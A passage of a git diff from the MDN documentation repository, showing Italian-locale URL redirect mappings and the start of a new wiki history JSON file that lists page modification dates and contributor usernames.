+/it/docs/JavaScript/ECMAScript_6_support_in_Mozilla	/it/docs/Web/JavaScript/ECMAScript_6_support_in_Mozilla
+/it/docs/JavaScript/Guida	/it/docs/Web/JavaScript/Guida
+/it/docs/JavaScript/Guide/Predefined_Core_Objects	/it/docs/JavaScript/Guida/Oggetti_nativi
+/it/docs/JavaScript/New_in_JavaScript	/it/docs/Web/JavaScript/New_in_JavaScript
+/it/docs/JavaScript/New_in_JavaScript/Novit%C3%A0_in_JavaScript_1.6	/it/docs/Web/JavaScript/New_in_JavaScript/Novit%C3%A0_in_JavaScript_1.6
+/it/docs/JavaScript/New_in_JavaScript/Novit%C3%A0_in_JavaScript_1.7	/it/docs/Web/JavaScript/New_in_JavaScript/Novit%C3%A0_in_JavaScript_1.7
+/it/docs/JavaScript/Reference	/it/docs/Web/JavaScript/Reference
+/it/docs/JavaScript/Reference/Functions_and_function_scope	/it/docs/Web/JavaScript/Reference/Functions_and_function_scope
+/it/docs/JavaScript/Reference/Global_Objects	/it/docs/Web/JavaScript/Reference/Global_Objects
+/it/docs/JavaScript/Reference/Global_Objects/Object	/it/docs/Web/JavaScript/Reference/Global_Objects/Object
+/it/docs/JavaScript/Reference/Global_Objects/Object/keys	/it/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
+/it/docs/JavaScript/Reference/Global_Objects/eval	/it/docs/Web/JavaScript/Reference/Global_Objects/eval
+/it/docs/JavaScript/Reference/Statements	/it/docs/Web/JavaScript/Reference/Statements
+/it/docs/JavaScript/Reference/Statements/let	/it/docs/Web/JavaScript/Reference/Statements/let
+/it/docs/JavaScript/Una_reintroduzione_al_JavaScript	/it/docs/Web/JavaScript/Una_reintroduzione_al_JavaScript
+/it/docs/Learn/CSS/Basics/Box_model	/en-US/docs/Learn/CSS/Building_blocks/The_box_model
+/it/docs/Learn/CSS/Introduction_to_CSS	/en-US/docs/Learn/CSS/First_steps
+/it/docs/Learn/CSS/Introduction_to_CSS/Come_funziona_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/it/docs/Learn/CSS/Styling_boxes	/en-US/docs/Learn/CSS/Building_blocks
+/it/docs/Learn/CSS/Styling_boxes/Stili_per_tabelle	/it/docs/Learn/CSS/Building_blocks/Styling_tables
+/it/docs/Libert%C3%A0!_Uguaglianza!_Validit%C3%A0!	/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML
+/it/docs/Linux_Build_Prerequisites	/it/docs/Mozilla/Developer_guide/Documentazione_per_build/Linux_Build_Prerequisites
+/it/docs/Localizzazione	/it/docs/Localization
+/it/docs/MDN/Contribute/Content	/it/docs/MDN/Guidelines
+/it/docs/MDN/Contribute/Content/Macros	/it/docs/MDN/Guidelines/Macros
+/it/docs/MDN/Contribute/Content/Migliore_pratica	/it/docs/MDN/Guidelines/Migliore_pratica
+/it/docs/MDN/Contribute/Editor	/it/docs/MDN/Editor
+/it/docs/MDN/Contribute/Structures	/it/docs/MDN/Structures
+/it/docs/MDN/Contribute/Structures/Tabelle_compatibilit%C3%A0	/it/docs/MDN/Structures/Tabelle_compatibilit%C3%A0
+/it/docs/MDN/Editor/Project:MDC_editor_guide	/it/docs/MDN/Contribute/Editor/Basics
+/it/docs/MDN/Feedback	/it/docs/MDN/Contribute/Feedback
+/it/docs/Mozilla/Developer_guide/Introduzione	/it/docs/Mozilla/Developer_guide/Introduction
+/it/docs/Novit%C3%A0_in_JavaScript_1.6	/it/docs/Web/JavaScript/New_in_JavaScript/Novit%C3%A0_in_JavaScript_1.6
+/it/docs/Novit%C3%A0_in_JavaScript_1.7	/it/docs/Web/JavaScript/New_in_JavaScript/Novit%C3%A0_in_JavaScript_1.7
+/it/docs/Pagina_Principale	/it/docs/Web
+/it/docs/Plugins	/it/docs/Plug-in
+/it/docs/Reference_del_DOM_di_Gecko:Esempi	/it/docs/Reference_del_DOM_di_Gecko/Esempi
+/it/docs/Reference_del_DOM_di_Gecko:Introduzione	/it/docs/Reference_del_DOM_di_Gecko/Introduzione
+/it/docs/Rich-Text_Editing_in_Mozilla	/it/docs/Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla
+/it/docs/Scripting_Plugins:_Macromedia_Flash	/it/docs/Scripting_Plugins/Macromedia_Flash
+/it/docs/Strumenti:Validare	/it/docs/Strumenti/Validare
+/it/docs/Strumenti:Validatori	/it/docs/Strumenti/Validatori
+/it/docs/Una_re-introduzione_a_Javascript	/it/docs/Web/JavaScript/Una_reintroduzione_al_JavaScript
+/it/docs/Usare_le_URL_nella_propriet%C3%A0_cursor	/it/docs/Web/CSS/cursor/Usare_valori_URL_per_la_propriet%C3%A0_cursor
+/it/docs/Usare_valori_URL_per_la_propriet%C3%A0_cursor	/it/docs/Web/CSS/cursor/Usare_valori_URL_per_la_propriet%C3%A0_cursor
+/it/docs/Web/API/Element.getElementsByTagName	/it/docs/Web/API/Element/getElementsByTagName
+/it/docs/Web/API/Element.scrollHeight	/it/docs/Web/API/Element/scrollHeight
+/it/docs/Web/API/Navigator.cookieEnabled	/it/docs/Web/API/Navigator/cookieEnabled
+/it/docs/Web/API/Position	/it/docs/Web/API/GeolocationPosition
+/it/docs/Web/API/URLUtils.href	/it/docs/Web/API/URLUtils/href
+/it/docs/Web/API/document.write()	/it/docs/Web/API/Document/write
+/it/docs/Web/CSS/@-moz-document	/it/docs/Web/CSS/%40document
+/it/docs/Web/CSS/Getting_Started	/it/docs/Conoscere_i_CSS
+/it/docs/Web/Events/devicemotion	/it/docs/Web/API/Window/devicemotion_event
+/it/docs/Web/Events/orientationchange	/it/docs/Web/API/Window/orientationchange_event
+/it/docs/Web/Guide/HTML	/it/docs/Learn/HTML
+/it/docs/Web/HTML/Aree_tematiche	/it/docs/Web/Guide/HTML/Categorie_di_contenuto
+/it/docs/Web/JavaScript/Guide	/it/docs/Web/JavaScript/Guida
+/it/docs/Web/JavaScript/Guide/About	/it/docs/JavaScript/Guida/About
+/it/docs/Web/JavaScript/Guide/Expressions_and_Operators	/it/docs/JavaScript/Guida/Expressions_and_Operators
+/it/docs/Web/JavaScript/Reference/Operators/Spread_operator	/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax
+/it/docs/Web/WebGL	/it/docs/Web/API/WebGL_API
+/it/docs/XMLHttpRequest	/it/docs/Web/API/XMLHttpRequest
+/it/docs/XPCOM:Binding_per_i_linguaggi	/it/docs/XPCOM/Binding_per_i_linguaggi
+/it/docs/XPInstall	/it/docs/XPI
+/it/docs/XPath	/it/docs/Web/XPath
+/it/docs/XSLT	/it/docs/Web/XSLT
+/it/docs/en	/en-US/
diff --git a/files/it/_wikihistory.json b/files/it/_wikihistory.json
new file mode 100644
index 0000000000..e37ca36f53
--- /dev/null
+++ b/files/it/_wikihistory.json
@@ -0,0 +1,6026 @@
+{
+  "Adattare_le_applicazioni_XUL_a_Firefox_1.5": {
+    "modified": "2019-03-23T23:41:34.028Z",
+    "contributors": [
+      "wbamberg",
+      "Indigo"
+    ]
+  },
+  "Circa_il_Document_Object_Model": {
+    "modified": "2019-03-23T23:40:46.607Z",
+    "contributors": [
+      "teoli",
+      "DaViD83"
+    ]
+  },
+  "Conoscere_i_CSS": {
+    "modified": "2019-03-23T23:43:26.363Z",
+    "contributors": [
+      "libri-nozze",
+      "Davidee",
+      "Grino",
+      "Verruckt",
+      "Indigo"
+    ]
+  },
+  "Conoscere_i_CSS/CSS_leggibili": {
+    "modified": "2019-03-23T23:43:30.247Z",
+    "contributors": [
+      "Verruckt",
+      "Indigo"
+    ]
+  },
+  "Conoscere_i_CSS/Cascata_ed_ereditarietà": {
+    "modified": "2019-03-23T23:44:51.382Z",
+    "contributors": [
+      "Sheppy",
+      "Andrealibo",
+      "Verruckt",
+      "Indigo"
+    ]
+  },
+  "Conoscere_i_CSS/Che_cosa_sono_i_CSS": {
+    "modified": "2019-03-23T23:43:28.433Z",
+    "contributors": [
+      "pignaccia",
+      "Grino",
+      "Verruckt",
+      "Indigo"
+    ]
+  },
+  "Conoscere_i_CSS/Come_funzionano_i_CSS": {
+    "modified": "2019-03-23T23:43:26.112Z",
+    "contributors": [
+      "Verruckt",
+      "Indigo"
+    ]
+  },
+  "Conoscere_i_CSS/I_Selettori": {
+    "modified": "2019-03-23T23:43:27.992Z",
+    "contributors": [
+      "Verruckt",
+      "Indigo"
+    ]
+  },
+  "Conoscere_i_CSS/Perché_usare_i_CSS": {
+    "modified": "2019-03-23T23:43:33.204Z",
+    "contributors": [
+      "pignaccia",
+      "Verruckt",
+      "Indigo"
+    ]
+  },
+  "Costruire_e_decostruire_un_documento_XML": {
+    "modified": "2019-03-24T00:13:01.603Z",
+    "contributors": [
+      "fscholz",
+      "foto-planner",
+      "fusionchess"
+    ]
+  },
+  "DHTML": {
+    "modified": "2019-03-24T00:02:50.459Z",
+    "contributors": [
+      "teoli",
+      "fscholz",
+      "Samuele"
+    ]
+  },
+  "DOM": {
+    "modified": "2019-03-24T00:03:02.057Z",
+    "contributors": [
+      "teoli",
+      "Samuele",
+      "Grino",
+      "khela",
+      "Federico",
+      "DaViD83"
+    ]
+  },
+  "DOM_Inspector": {
+    "modified": "2020-07-16T22:36:24.345Z",
+    "contributors": [
+      "Federico",
+      "Leofiore",
+      "Samuele"
+    ]
+  },
+  "Dare_una_mano_al_puntatore": {
+    "modified": "2019-03-23T23:43:11.495Z",
+    "contributors": [
+      "teoli",
+      "ethertank",
+      "bradipao"
+    ]
+  },
+  "Firefox_1.5_per_Sviluppatori": {
+    "modified": "2019-03-23T23:44:26.825Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Leofiore",
+      "Federico"
+    ]
+  },
+  "Firefox_18_for_developers": {
+    "modified": "2019-03-23T23:34:04.358Z",
+    "contributors": [
+      "wbamberg",
+      "Indil",
+      "0limits91"
+    ]
+  },
+  "Firefox_2.0_per_Sviluppatori": {
+    "modified": "2019-03-23T23:44:14.083Z",
+    "contributors": [
+      "wbamberg",
+      "Leofiore",
+      "Samuele",
+      "Federico",
+      "Neotux"
+    ]
+  },
+  "Games": {
+    "modified": "2019-09-09T15:32:14.707Z",
+    "contributors": [
+      "SphinxKnight",
+      "isocialweb",
+      "wbamberg",
+      "PyQio",
+      "lybhy"
+    ]
+  },
+  "Games/Publishing_games": {
+    "modified": "2019-03-18T21:10:16.530Z",
+    "contributors": [
+      "Antonio-Caminiti"
+    ]
+  },
+  "Gli_User_Agent_di_Gecko": {
+    "modified": "2019-03-23T23:44:58.670Z",
+    "contributors": [
+      "fotografi",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Glossary": {
+    "modified": "2020-10-07T11:11:11.203Z",
+    "contributors": [
+      "peterbe",
+      "SphinxKnight",
+      "wbamberg",
+      "klez"
+    ]
+  },
+  "Glossary/AJAX": {
+    "modified": "2020-04-16T13:58:31.813Z",
+    "contributors": [
+      "xplosionmind",
+      "maruskina",
+      "SimoneSalern"
+    ]
+  },
+  "Glossary/Block": {
+    "modified": "2019-03-23T22:07:59.540Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Glossary/Block/CSS": {
+    "modified": "2019-03-23T22:07:52.239Z",
+    "contributors": [
+      "sambuccid"
+    ]
+  },
+  "Glossary/CSS": {
+    "modified": "2019-03-23T22:06:23.064Z",
+    "contributors": [
+      "SimoneSalern"
+    ]
+  },
+  "Glossary/Control_flow": {
+    "modified": "2019-03-18T21:27:30.313Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Glossary/Doctype": {
+    "modified": "2019-01-17T02:41:07.401Z",
+    "contributors": [
+      "gnardell"
+    ]
+  },
+  "Glossary/First-class_Function": {
+    "modified": "2019-03-18T21:46:04.586Z",
+    "contributors": [
+      "tontonialberto"
+    ]
+  },
+  "Glossary/HTML": {
+    "modified": "2019-03-23T22:03:10.082Z",
+    "contributors": [
+      "AndreaNaspi"
+    ]
+  },
+  "Glossary/HTML5": {
+    "modified": "2019-03-23T22:03:14.763Z",
+    "contributors": [
+      "AndreaNaspi"
+    ]
+  },
+  "Glossary/HTTP": {
+    "modified": "2020-07-30T13:08:44.286Z",
+    "contributors": [
+      "sara_t",
+      "xplosionmind",
+      "Sav22999"
+    ]
+  },
+  "Glossary/Head": {
+    "modified": "2019-03-18T21:40:44.730Z",
+    "contributors": [
+      "gnardell"
+    ]
+  },
+  "Glossary/Header_di_risposta": {
+    "modified": "2019-03-18T21:31:16.700Z",
+    "contributors": [
+      "lucat92"
+    ]
+  },
+  "Glossary/Hoisting": {
+    "modified": "2020-07-09T10:59:09.829Z",
+    "contributors": [
+      "ImChrono",
+      "Spyna"
+    ]
+  },
+  "Glossary/JavaScript": {
+    "modified": "2019-03-18T21:45:58.560Z",
+    "contributors": [
+      "EndBug"
+    ]
+  },
+  "Glossary/Node": {
+    "modified": "2019-03-18T21:19:43.745Z",
+    "contributors": [
+      "klez"
+    ]
+  },
+  "Glossary/Node/DOM": {
+    "modified": "2019-03-18T21:19:38.420Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Glossary/Nullish": {
+    "modified": "2020-10-14T13:32:16.214Z",
+    "contributors": [
+      "sharq"
+    ]
+  },
+  "Glossary/Primitive": {
+    "modified": "2019-03-23T22:31:06.215Z",
+    "contributors": [
+      "Fredev"
+    ]
+  },
+  "Glossary/Protocollo": {
+    "modified": "2020-04-21T13:55:15.140Z",
+    "contributors": [
+      "sara_t",
+      "xplosionmind"
+    ]
+  },
+  "Glossary/REST": {
+    "modified": "2020-04-21T13:56:38.394Z",
+    "contributors": [
+      "sara_t",
+      "Sav22999",
+      "xplosionmind"
+    ]
+  },
+  "Glossary/Reflow": {
+    "modified": "2019-12-05T05:19:52.753Z",
+    "contributors": [
+      "LoSo"
+    ]
+  },
+  "Glossary/Serialization": {
+    "modified": "2019-03-18T21:27:14.829Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Glossary/World_Wide_Web": {
+    "modified": "2019-03-23T22:03:18.770Z",
+    "contributors": [
+      "AndreaNaspi"
+    ]
+  },
+  "Glossary/array": {
+    "modified": "2019-06-03T12:35:12.894Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Glossary/undefined": {
+    "modified": "2019-03-23T22:57:58.153Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Indentazione_corretta_delle_liste": {
+    "modified": "2019-03-23T23:43:02.621Z",
+    "contributors": [
+      "music-wedding",
+      "artistics-weddings",
+      "teoli",
+      "bradipao"
+    ]
+  },
+  "Installare_plugin_di_ricerca_dalle_pagine_web": {
+    "modified": "2019-01-16T16:19:44.703Z",
+    "contributors": [
+      "Federico"
+    ]
+  },
+  "Introduzione_a_SVG_dentro_XHTML": {
+    "modified": "2019-03-23T23:41:29.996Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Le_Colonne_nei_CSS3": {
+    "modified": "2019-03-23T23:43:04.536Z",
+    "contributors": [
+      "bradipao"
+    ]
+  },
+  "Learn": {
+    "modified": "2020-07-16T22:43:43.043Z",
+    "contributors": [
+      "SphinxKnight",
+      "PyQio",
+      "siron94",
+      "MarcoMatta"
+    ]
+  },
+  "Learn/Accessibilità": {
+    "modified": "2020-07-16T22:39:57.773Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/Accessibilità/Accessibilità_dispositivi_mobili": {
+    "modified": "2020-07-16T22:40:30.564Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/Accessibilità/Accessibilità_test_risoluzione_problemi": {
+    "modified": "2020-07-16T22:40:35.761Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/Accessibilità/CSS_e_JavaScript_accessibilità": {
+    "modified": "2020-07-16T22:40:17.303Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/Accessibilità/Cosa_è_accessibilità": {
+    "modified": "2020-07-16T22:40:04.717Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/Accessibilità/HTML_accessibilità": {
+    "modified": "2020-07-16T22:40:11.165Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/Accessibilità/Multimedia": {
+    "modified": "2020-07-16T22:40:26.699Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/Accessibilità/WAI-ARIA_basics": {
+    "modified": "2020-07-16T22:40:22.345Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Learn/CSS": {
+    "modified": "2020-11-02T07:57:14.931Z",
+    "contributors": [
+      "josefsimionato",
+      "fabiopozzi",
+      "pietro.tamburrano",
+      "aki54",
+      "ExplosiveLab",
+      "Jeremie"
+    ]
+  },
+  "Learn/CSS/Building_blocks": {
+    "modified": "2020-07-30T13:10:35.572Z",
+    "contributors": [
+      "sara_t",
+      "xplosionmind",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Selettori": {
+    "modified": "2020-10-27T14:47:40.269Z",
+    "contributors": [
+      "francescomazza91"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Styling_tables": {
+    "modified": "2020-07-16T22:28:16.589Z",
+    "contributors": [
+      "chrisdavidmills",
+      "bobgen"
+    ]
+  },
+  "Learn/CSS/CSS_layout": {
+    "modified": "2020-07-30T14:33:23.625Z",
+    "contributors": [
+      "sara_t",
+      "danielebarell"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Flexbox": {
+    "modified": "2020-11-17T12:27:45.093Z",
+    "contributors": [
+      "danielebarell"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Introduction": {
+    "modified": "2020-08-07T07:59:31.659Z",
+    "contributors": [
+      "danielebarell",
+      "sara_t"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Normal_Flow": {
+    "modified": "2020-10-23T12:57:51.380Z",
+    "contributors": [
+      "danielebarell",
+      "sara_t",
+      "Mte90"
+    ]
+  },
+  "Learn/CSS/Styling_text": {
+    "modified": "2020-07-16T22:25:58.230Z",
+    "contributors": [
+      "wilton-cruz"
+    ]
+  },
+  "Learn/CSS/Styling_text/Definire_stili_link": {
+    "modified": "2020-07-16T22:26:19.044Z",
+    "contributors": [
+      "genoa1893"
+    ]
+  },
+  "Learn/Come_contribuire": {
+    "modified": "2020-07-16T22:33:44.464Z",
+    "contributors": [
+      "SphinxKnight",
+      "ZiaRita",
+      "ivan.lori"
+    ]
+  },
+  "Learn/Common_questions": {
+    "modified": "2020-07-16T22:35:24.563Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/Common_questions/Thinking_before_coding": {
+    "modified": "2020-07-16T22:35:34.470Z",
+    "contributors": [
+      "duel89"
+    ]
+  },
+  "Learn/Getting_started_with_the_web": {
+    "modified": "2020-10-31T11:54:00.576Z",
+    "contributors": [
+      "JennyDC",
+      "howilearn",
+      "mozzy91",
+      "Redsnic",
+      "Lorenzo_FF"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/CSS_basics": {
+    "modified": "2020-11-14T17:54:31.688Z",
+    "contributors": [
+      "JennyDC",
+      "stefsava",
+      "howilearn"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Che_aspetto_avrà_il_tuo_sito_web": {
+    "modified": "2020-07-16T22:34:17.256Z",
+    "contributors": [
+      "PyQio"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Come_funziona_il_Web": {
+    "modified": "2020-11-10T20:12:58.028Z",
+    "contributors": [
+      "massic80",
+      "JennyDC"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Gestire_i_file": {
+    "modified": "2020-07-16T22:34:34.196Z",
+    "contributors": [
+      "ZiaRita",
+      "PatrickT",
+      "DaniPani",
+      "cubark"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/HTML_basics": {
+    "modified": "2020-11-14T17:53:13.393Z",
+    "contributors": [
+      "JennyDC",
+      "KetiJ",
+      "jwhitlock"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Installing_basic_software": {
+    "modified": "2020-07-16T22:34:08.318Z",
+    "contributors": [
+      "costacarlo",
+      "PatrickT",
+      "siron94",
+      "SphinxKnight"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/JavaScript_basics": {
+    "modified": "2020-11-14T17:55:41.640Z",
+    "contributors": [
+      "JennyDC",
+      "PatrickT",
+      "Tonystrel",
+      "mnemosdev"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Pubbicare_sito": {
+    "modified": "2020-07-30T14:39:28.232Z",
+    "contributors": [
+      "sara_t",
+      "dag7dev"
+    ]
+  },
+  "Learn/HTML": {
+    "modified": "2020-07-16T22:22:18.921Z",
+    "contributors": [
+      "PatrickT",
+      "Ella"
+    ]
+  },
+  "Learn/HTML/Forms": {
+    "modified": "2020-10-05T13:36:42.596Z",
+    "contributors": [
+      "ArgusMk",
+      "Jeffrey_Yang"
+    ]
+  },
+  "Learn/HTML/Forms/Come_costruire_custom_form_widgets_personalizzati": {
+    "modified": "2020-07-16T22:21:56.435Z",
+    "contributors": [
+      "whiteLie"
+    ]
+  },
+  "Learn/HTML/Forms/Form_validation": {
+    "modified": "2020-12-03T10:32:19.605Z",
+    "contributors": [
+      "LoSo",
+      "claudiod"
+    ]
+  },
+  "Learn/HTML/Howto": {
+    "modified": "2020-07-16T22:22:29.048Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/HTML/Howto/Author_fast-loading_HTML_pages": {
+    "modified": "2020-07-16T22:22:32.665Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Learn/HTML/Howto/Uso_attributi_data": {
+    "modified": "2020-07-16T22:22:35.395Z",
+    "contributors": [
+      "Elfo404",
+      "Enrico_Polanski"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML": {
+    "modified": "2020-07-16T22:22:49.350Z",
+    "contributors": [
+      "fabiopozzi",
+      "Aedo1",
+      "nicco88",
+      "robertsillo",
+      "federico71",
+      "sginestrini",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/Getting_started": {
+    "modified": "2020-07-16T22:23:01.401Z",
+    "contributors": [
+      "chack1172",
+      "PatrickT",
+      "howilearn"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/I_metadata_nella_head_in_HTML": {
+    "modified": "2020-07-16T22:23:20.000Z",
+    "contributors": [
+      "Aedo1",
+      "howilearn"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/fondamenti_di_testo_html": {
+    "modified": "2020-07-16T22:23:34.063Z",
+    "contributors": [
+      "b4yl0n",
+      "duduindo",
+      "Th3cG",
+      "robertsillo"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding": {
+    "modified": "2020-07-16T22:24:26.195Z",
+    "contributors": [
+      "Hirpux",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Images_in_HTML": {
+    "modified": "2020-07-16T22:24:45.449Z",
+    "contributors": [
+      "dnaxxx",
+      "howilearn"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/contenuti_video_e_audio": {
+    "modified": "2020-07-16T22:24:53.308Z",
+    "contributors": [
+      "howilearn"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/immagini_reattive": {
+    "modified": "2020-07-16T22:24:35.114Z",
+    "contributors": [
+      "kalamun",
+      "howilearn"
+    ]
+  },
+  "Learn/HTML/Scrivi_una_semplice_pagina_in_HTML": {
+    "modified": "2020-07-16T22:22:27.063Z",
+    "contributors": [
+      "duduindo",
+      "wbamberg",
+      "Ella"
+    ]
+  },
+  "Learn/HTML/Tables": {
+    "modified": "2020-07-16T22:25:12.659Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/JavaScript": {
+    "modified": "2020-07-16T22:29:40.494Z",
+    "contributors": [
+      "mario.dilodovico1",
+      "ManuelDesigner",
+      "LoSo",
+      "emilio.giuffrida"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks": {
+    "modified": "2020-07-16T22:31:08.796Z",
+    "contributors": [
+      "Gioelio",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/JavaScript/Comefare": {
+    "modified": "2020-07-16T22:33:09.378Z",
+    "contributors": [
+      "mario.dilodovico1"
+    ]
+  },
+  "Learn/JavaScript/First_steps": {
+    "modified": "2020-07-16T22:29:52.003Z",
+    "contributors": [
+      "bosluca",
+      "theant72",
+      "Elllenn"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Cosa_è_andato_storto": {
+    "modified": "2020-07-16T22:30:33.953Z",
+    "contributors": [
+      "rosso791"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Variabili": {
+    "modified": "2020-08-19T06:27:13.303Z",
+    "contributors": [
+      "a.ros",
+      "SamuelaKC",
+      "Ibernato93"
+    ]
+  },
+  "Learn/JavaScript/Oggetti": {
+    "modified": "2020-07-16T22:31:50.631Z",
+    "contributors": [
+      "maboglia",
+      "s3lvatico"
+    ]
+  },
+  "Learn/JavaScript/Oggetti/Basics": {
+    "modified": "2020-07-16T22:31:59.612Z",
+    "contributors": [
+      "dq82elo",
+      "claudiod"
+    ]
+  },
+  "Learn/JavaScript/Oggetti/JSON": {
+    "modified": "2020-07-16T22:32:26.492Z",
+    "contributors": [
+      "mario.dilodovico1"
+    ]
+  },
+  "Learn/Server-side": {
+    "modified": "2020-07-16T22:35:58.950Z",
+    "contributors": [
+      "rsidorov"
+    ]
+  },
+  "Learn/Server-side/Django": {
+    "modified": "2020-08-26T14:18:40.901Z",
+    "contributors": [
+      "MatteoMaso",
+      "Odle98",
+      "Loder91",
+      "Cereal84",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/Server-side/Django/Admin_site": {
+    "modified": "2020-07-16T22:37:03.768Z",
+    "contributors": [
+      "umarino",
+      "paco80",
+      "mattiatoselli"
+    ]
+  },
+  "Learn/Server-side/Django/Authentication": {
+    "modified": "2020-07-16T22:37:22.138Z",
+    "contributors": [
+      "wbamberg",
+      "mattiatoselli"
+    ]
+  },
+  "Learn/Server-side/Django/Forms": {
+    "modified": "2020-07-16T22:37:31.642Z",
+    "contributors": [
+      "duduindo",
+      "FrancescoLucia",
+      "mattiatoselli"
+    ]
+  },
+  "Learn/Server-side/Django/Generic_views": {
+    "modified": "2020-07-16T22:37:16.343Z",
+    "contributors": [
+      "paco80",
+      "mattiatoselli"
+    ]
+  },
+  "Learn/Server-side/Django/Home_page": {
+    "modified": "2020-07-16T22:37:09.320Z",
+    "contributors": [
+      "duduindo",
+      "paco80",
+      "mattiatoselli"
+    ]
+  },
+  "Learn/Server-side/Django/Introduzione": {
+    "modified": "2020-10-29T07:11:12.599Z",
+    "contributors": [
+      "sara_t",
+      "dag7dev",
+      "gianluca.gioino",
+      "CristinaS24"
+    ]
+  },
+  "Learn/Server-side/Django/Models": {
+    "modified": "2020-07-16T22:36:57.781Z",
+    "contributors": [
+      "paco80",
+      "mattiatoselli"
+    ]
+  },
+  "Learn/Server-side/Django/Sessions": {
+    "modified": "2020-07-16T22:37:26.936Z",
+    "contributors": [
+      "paco80"
+    ]
+  },
+  "Learn/Server-side/Django/Tutorial_local_library_website": {
+    "modified": "2020-07-16T22:36:49.252Z",
+    "contributors": [
+      "paco80",
+      "r0bby",
+      "Loder91"
+    ]
+  },
+  "Learn/Server-side/Django/development_environment": {
+    "modified": "2020-12-02T04:01:12.130Z",
+    "contributors": [
+      "SphinxKnight",
+      "catta",
+      "paco80",
+      "Loder91",
+      "Cereal84"
+    ]
+  },
+  "Learn/Server-side/Django/skeleton_website": {
+    "modified": "2020-07-16T22:36:52.791Z",
+    "contributors": [
+      "paco80",
+      "mattiatoselli"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs": {
+    "modified": "2020-07-16T22:37:52.837Z",
+    "contributors": [
+      "mattiatoselli"
+    ]
+  },
+  "Link_prefetching_FAQ": {
+    "modified": "2019-03-23T23:44:25.588Z",
+    "contributors": [
+      "fscholz",
+      "artistics-weddings",
+      "jigs12",
+      "Leofiore"
+    ]
+  },
+  "Localization": {
+    "modified": "2019-03-23T23:44:27.139Z",
+    "contributors": [
+      "teoli",
+      "Verruckt",
+      "Leofiore",
+      "Etms",
+      "Federico"
+    ]
+  },
+  "MDN": {
+    "modified": "2019-09-10T15:42:00.204Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "Jeremie",
+      "klez",
+      "teoli",
+      "Sheppy"
+    ]
+  },
+  "MDN/About": {
+    "modified": "2019-09-10T08:52:46.593Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "PsCustomObject",
+      "jswisher",
+      "klez"
+    ]
+  },
+  "MDN/Community": {
+    "modified": "2019-03-23T22:36:02.220Z",
+    "contributors": [
+      "Italuil",
+      "wbamberg",
+      "Vinsala"
+    ]
+  },
+  "MDN/Contribute": {
+    "modified": "2019-03-23T23:18:14.834Z",
+    "contributors": [
+      "wbamberg",
+      "klez",
+      "Sheppy"
+    ]
+  },
+  "MDN/Contribute/Creating_and_editing_pages": {
+    "modified": "2019-03-23T23:06:13.182Z",
+    "contributors": [
+      "wbamberg",
+      "fabriziobianchi3",
+      "claudio.mantuano",
+      "Sav_"
+    ]
+  },
+  "MDN/Contribute/Feedback": {
+    "modified": "2020-09-30T17:51:21.113Z",
+    "contributors": [
+      "chrisdavidmills",
+      "jswisher",
+      "SphinxKnight",
+      "wbamberg",
+      "LucaCtt",
+      "frbi"
+    ]
+  },
+  "MDN/Contribute/Getting_started": {
+    "modified": "2020-09-30T17:12:42.224Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "klez",
+      "teoli",
+      "Mmarco",
+      "Xyzale"
+    ]
+  },
+  "MDN/Contribute/Howto": {
